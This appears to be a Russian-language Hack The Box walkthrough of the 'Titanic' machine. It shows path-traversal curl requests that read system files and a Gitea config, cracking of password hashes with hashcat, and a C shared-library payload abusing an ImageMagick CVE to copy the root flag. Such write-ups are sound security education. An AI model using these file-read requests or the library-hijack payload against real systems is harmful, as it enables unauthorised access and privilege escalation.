
HTB machine link: https://app.hackthebox.com/machines/Titanic
Recon#
В начале как обычно проверяем доступность машины и сканируем открытые порты

При обращении к вебу нас автоматически перенаправляет на titanic.htb

Сразу добавляем запись в /etc/hosts
echo "10.10.11.55 titanic.htb" | sudo tee -a /etc/hosts

User flag#
При подтверждении путешествия у нас скачивается билет

Запрос выглядит таким образом:

Так как функционал чтения билетов реализован небезопасно, мы можем заменить название файла с билетом на название файла, который хотим прочитать. Например /etc/passwd

Узнаем, что у нас есть активный пользователь developer

У которого лежит user flag

Root flag#
Прочитав /etc/hosts, можно узнать, что существует поддомен dev
curl --path-as-is 'http://titanic.htb/download?ticket=/etc/hosts'

Сразу его добавляем к себе
echo "10.10.11.55 dev.titanic.htb" | sudo tee -a /etc/hosts
На этом поддомене поднята gitea

У которой кстати открыт /explore
http://dev.titanic.htb/explore/repos


Из файла docker-compose.yml узнаем путь к директории gitea

Через LFI вытаскиваем дефолтный конфиг
curl --path-as-is 'http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini'

Из конфига узнаем путь к базе данных


В самой БДшке содержатся хеши паролей, остается только их достать и сбрутить


hashcat gitea.hashes rockyou.txt
Username: developer
Password: ********

С помощью find, находим директории с правами на запись
find /opt -writable -type d 2>/dev/null

Из .sh файла узнаем, что на тачке стоит imagemagick


Существует подходящая CVE-2024-41817 под эту версию, которая позволяет выполнить произвольный код путем загрузки вредоносных общих библиотек в текущий рабочий каталог при выполнении ImageMagick: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

Из identify_images.sh мы знаем, что нужная нам директория - /opt/app/static/assets/images/. Создадим в ней библиотеку, которая скопирует файл /root/root.txt и изменит его права доступа:
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /root/root.txt root.txt; chmod 754 root.txt");
exit(0);
}
EOF
Через несколько секунд в директории появится флаг
